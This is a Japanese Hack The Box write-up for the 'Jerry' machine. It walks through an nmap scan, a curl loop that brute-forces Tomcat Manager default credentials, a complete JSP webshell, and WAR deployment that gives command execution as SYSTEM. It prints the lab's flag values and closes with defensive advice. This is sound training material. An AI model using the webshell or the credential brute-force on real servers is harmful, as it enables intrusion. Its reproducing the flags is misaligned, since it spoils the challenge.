Hack The BoxのWriteup(Jerry)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Jerry — 全実行コマンド・実行結果レポート
Nmap スキャン
8080/tcp のみ (Tomcat 7.0.88)
→
Manager既定資格情報
tomcat:s3cret
→
悪性WAR作成
cmd.jsp Webシェル同梱
→
/manager/text/deploy
PUTでWARをデプロイ
→
cmd.jsp経由RCE
最初のコマンドから既にSYSTEM
→
user.txt & root.txt ✓
同一ファイルに両方記載
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.84.185
RESULT
PORT     STATE SERVICE
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned
ℹ️
開いているポートは 8080番のみ。22/80/445等は一切応答しないため、 ホスト応答待機を22/80ベースで行うツールは誤ってタイムアウトしがちだが、 -p-の全ポートスキャンで8080が検出できれば問題ない。

バージョン・スクリプトスキャン & バナー確認

BASH
nmap -sV -sC -p 8080 10.129.84.185
curl -s -i http://10.129.84.185:8080/
RESULT
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat/7.0.88
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1

<h1>Apache Tomcat/7.0.88</h1>
<h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
...
<a href="/manager/html"><span>Manager App</span></a>
🚨
Tomcat 7.0.88 のデフォルトウェルカムページがそのまま公開されており、 /manager/html(Webベース管理画面)と、同等機能を提供する /manager/text/*(HTTP Basic認証のみ、cURL等で直接操作可能なテキストAPI) へのリンクが確認できる。Tomcat Managerはアプリケーション(WAR)のデプロイを扱うため、 認証突破できればそのままRCEに直結する典型的な攻撃対象。
PHASE 2

Tomcat Manager — デフォルト資格情報の特定

既知のデフォルト資格情報リストでブルートフォース

BASH
# Metasploitに付属する「ユーザー名:パスワード」ペア済みの既定値リストを利用
# (tomcat/tomcat, admin/admin, tomcat/s3cret 等、Apache Tomcat配布物でよく使われる値を網羅)
while IFS=' ' read -r user pass; do
  code=$(curl -s -o /dev/null -w '%{http_code}' -u "$user:$pass" \
    http://10.129.84.185:8080/manager/text/list)
  [ "$code" = "200" ] && echo "FOUND: $user:$pass"
done < /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt
RESULT
FOUND: tomcat:s3cret
✅
認証突破: tomcat:s3cret。/manager/text/list はHTTP Basic認証のみで、 成功すると現在デプロイ済みのアプリケーション一覧がプレーンテキストで返る (ブラウザ経由の/manager/htmlより自動化しやすい)。
PHASE 3

悪性WARデプロイ → Webシェル経由RCE

JSP Webシェルの作成

NOTE (cmd.jsp)
<%@ page import="java.util.*,java.io.*"%><%
String cmd=request.getParameter("cmd");
if(cmd!=null){
  String[] c={"cmd.exe","/c",cmd};
  Process p=Runtime.getRuntime().exec(c);
  InputStream is=p.getInputStream();
  InputStream es=p.getErrorStream();
  int b;
  while((b=is.read())!=-1){out.write((char)b);}
  while((b=es.read())!=-1){out.write((char)b);}
  p.waitFor();
}
%>
ℹ️
?cmd=<コマンド> パラメータをそのまま cmd.exe /c に渡すだけの 極めてシンプルなWebシェル。標準出力・標準エラー出力の両方をレスポンスボディへ書き出す。

WARファイルへパッケージング

BASH
mkdir -p jerrysh/WEB-INF
cp cmd.jsp jerrysh/

cat > jerrysh/WEB-INF/web.xml <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         version="2.5">
</web-app>
EOF

cd jerrysh && jar -cvf ../jerrysh.war . && cd ..
ℹ️
最小構成の web.xml だけ同梱すれば有効なWebアプリケーションとして認識される。 jar(JDK付属)または zip コマンドでも同様にWAR(=ZIP形式)を作成できる。

Tomcat Managerテキストインターフェース経由でデプロイ

BASH
curl -s -u tomcat:s3cret -T jerrysh.war \
  "http://10.129.84.185:8080/manager/text/deploy?path=/jerrysh&update=true"
RESULT
OK - Deployed application at context path [/jerrysh]
✅
-T(cURLのPUTアップロード)+ path= パラメータで、認証済みセッションから 直接WARをデプロイできる。update=true を付けることで、同名パスが既に存在していても 上書きデプロイが可能。

Webシェル経由でコマンド実行

BASH
curl -s -G --data-urlencode 'cmd=whoami' \
  http://10.129.84.185:8080/jerrysh/cmd.jsp
RESULT
nt authority\system
🚨
重要発見: Jerryでは一般ユーザー経由の侵入とSYSTEM昇格という2段階の区別が存在しない。 このTomcatサービス自体が NT AUTHORITY\SYSTEM 権限で動作しているため、 デプロイしたWebシェルの最初の1コマンド目から既にSYSTEM。 別途の権限昇格手順(privesc)は一切不要。
PHASE 4

フラグ取得 — 1ファイルに2つのフラグ

フラグファイルの探索と読み取り

BASH
curl -s -G --data-urlencode 'cmd=dir /s /b C:\Users\Administrator\Desktop' \
  http://10.129.84.185:8080/jerrysh/cmd.jsp

curl -s -G --data-urlencode 'cmd=type "C:\Users\Administrator\Desktop\flags\2 for the price of 1.txt"' \
  http://10.129.84.185:8080/jerrysh/cmd.jsp
RESULT
user.txt
7004dbcef0f854e0fb401875f26ebd00

root.txt
04a8b36e1545a455393d067e772fe90e
⚠️
通常のuser.txt/root.txtという別々のファイルは存在せず、 "2 for the price of 1.txt"(ファイル名そのものが「1つの値段で2つ」という 洒落になっている)という単一ファイル内に、"user.txt"/"root.txt"というラベル行とともに 2つの異なる32文字hex値が記載されている。 両者は同じ値の重複ではなく、それぞれ別の値である点に注意 — 「とりあえず最初に見つかったhex文字列を両方に使う」という早合点をすると、 root.txtとして間違った値(user.txtの値の重複)を提出してしまう典型的な罠。 ラベル行を見てどちらの値かを正しく判定すること。
user.txt
7004dbcef0f854e0fb401875f26ebd00
root.txt
04a8b36e1545a455393d067e772fe90e
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt
7004dbcef0f854e0fb401875f26ebd00
root.txt
04a8b36e1545a455393d067e772fe90e

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
Tomcat Manager デフォルト資格情報 Apache Tomcat 7.0.88 Manager アプリ 管理画面への認証突破 Critical 既定の資格情報リストでブルートフォース → tomcat:s3cret
WARデプロイによるRCE /manager/text/deploy エンドポイント リモートコード実行 (SYSTEM即時) Critical JSP Webシェルを同梱したWARをデプロイし、URLアクセスで任意コマンド実行(Tomcatサービス自体がSYSTEM権限で稼働)

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポートスキャン8080/tcp のみ (Apache Tomcat 7.0.88)
2認証突破Tomcat Manager 既定資格情報ブルートフォースtomcat:s3cret
3エクスプロイトJSP Webシェル同梱WARを /manager/text/deploy でデプロイcmd.jsp経由RCE、最初のコマンドから既にSYSTEM
4フラグ取得単一ファイル内のラベル付き2フラグを読取user.txt + root.txt を同時取得

学んだ教訓 & 防御策

問題点防御策
Tomcat Manager がデフォルト資格情報(tomcat:s3cret)のまま外部公開されている Manager/Host Managerアプリは本番稼働後に無効化するか、強固なパスワードへ必ず変更する。アクセスを管理用ネットワークからのみに制限する。
Tomcatサービス自体がNT AUTHORITY\SYSTEMという過剰権限で動作している Tomcatサービスは専用の低権限サービスアカウントで動作させ、万一アプリケーション層が突破されても即座にSYSTEM権限が渡らないようにする(最小権限の原則)。
WARデプロイ機能がそのまま任意コードの実行経路になっている Managerアプリへのデプロイ権限は信頼されたCI/CDパイプラインのみに限定し、対外的に開放しない。WAFやリバースプロキシで /manager/* へのアクセスを制限する。
HackTheBox: Jerry | 完全攻略レポート